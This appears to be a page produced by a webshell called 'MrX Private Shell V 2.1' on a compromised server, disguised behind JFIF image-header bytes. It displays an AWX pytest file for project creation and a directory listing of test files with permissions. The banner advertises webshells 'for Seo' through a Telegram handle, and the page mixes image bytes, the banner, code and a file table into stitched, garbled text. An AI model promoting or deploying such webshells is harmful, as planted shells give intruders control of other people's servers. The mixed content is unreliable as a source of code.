����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from __future__ import absolute_import, division, print_function
__metaclass__ = type
import pytest
from awx.main.models import Project
@pytest.mark.django_db
def test_create_project(run_module, admin_user, organization, silence_warning):
result = run_module(
'project',
dict(name='foo', organization=organization.name, scm_type='git', scm_url='https://foo.invalid', wait=False, scm_update_cache_timeout=5),
admin_user,
)
silence_warning.assert_called_once_with('scm_update_cache_timeout will be ignored since scm_update_on_launch was not set to true')
assert result.pop('changed', None), result
proj = Project.objects.get(name='foo')
assert proj.scm_url == 'https://foo.invalid'
assert proj.organization == organization
result.pop('invocation')
assert result == {'name': 'foo', 'id': proj.id}
@pytest.mark.django_db
def test_create_manual_project(run_module, admin_user, organization, mocker):
mocker.patch('awx.main.models.projects.Project.get_local_path_choices', return_value=['foo_folder/'])
result = run_module(
'project',
dict(name='foo', organization=organization.name, scm_type='manual', local_path='foo_folder/', wait=False),
admin_user,
)
assert result.pop('changed', None), result
proj = Project.objects.get(name='foo')
assert proj.local_path == 'foo_folder/'
assert proj.organization == organization
result.pop('invocation')
assert result == {'name': 'foo', 'id': proj.id}
@pytest.mark.django_db
def test_create_project_copy_from(run_module, admin_user, organization, silence_warning):
'''Test the copy_from functionality'''
result = run_module(
'project',
dict(name='foo', organization=organization.name, scm_type='git', scm_url='https://foo.invalid', wait=False, scm_update_cache_timeout=5),
admin_user,
)
assert result.pop('changed', None), result
proj_name = 'bar'
result = run_module(
'project',
dict(name=proj_name, copy_from='foo', scm_type='git', wait=False),
admin_user,
)
assert result.pop('changed', None), result
result = run_module(
'project',
dict(name=proj_name, copy_from='foo', scm_type='git', wait=False),
admin_user,
)
silence_warning.assert_called_with("A project with the name {0} already exists.".format(proj_name))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| conftest.py | File | 11.33 KB | 0644 |
|
| test_ad_hoc_wait.py | File | 1.65 KB | 0644 |
|
| test_application.py | File | 818 B | 0644 |
|
| test_bulk.py | File | 1.1 KB | 0644 |
|
| test_completeness.py | File | 16.3 KB | 0644 |
|
| test_credential.py | File | 4.7 KB | 0644 |
|
| test_credential_input_source.py | File | 12.9 KB | 0644 |
|
| test_credential_type.py | File | 1.98 KB | 0644 |
|
| test_group.py | File | 3.59 KB | 0644 |
|
| test_instance_group.py | File | 2.24 KB | 0644 |
|
| test_inventory.py | File | 1.86 KB | 0644 |
|
| test_inventory_source.py | File | 6.08 KB | 0644 |
|
| test_job.py | File | 1.55 KB | 0644 |
|
| test_job_template.py | File | 10.3 KB | 0644 |
|
| test_label.py | File | 1.37 KB | 0644 |
|
| test_module_utils.py | File | 9.92 KB | 0644 |
|
| test_notification_template.py | File | 5.75 KB | 0644 |
|
| test_organization.py | File | 885 B | 0644 |
|
| test_project.py | File | 2.34 KB | 0644 |
|
| test_role.py | File | 3.38 KB | 0644 |
|
| test_schedule.py | File | 6.92 KB | 0644 |
|
| test_settings.py | File | 1.92 KB | 0644 |
|
| test_team.py | File | 1.52 KB | 0644 |
|
| test_token.py | File | 888 B | 0644 |
|
| test_user.py | File | 2.19 KB | 0644 |
|
| test_workflow_job_template.py | File | 6.29 KB | 0644 |
|
| test_workflow_job_template_node.py | File | 4.75 KB | 0644 |
|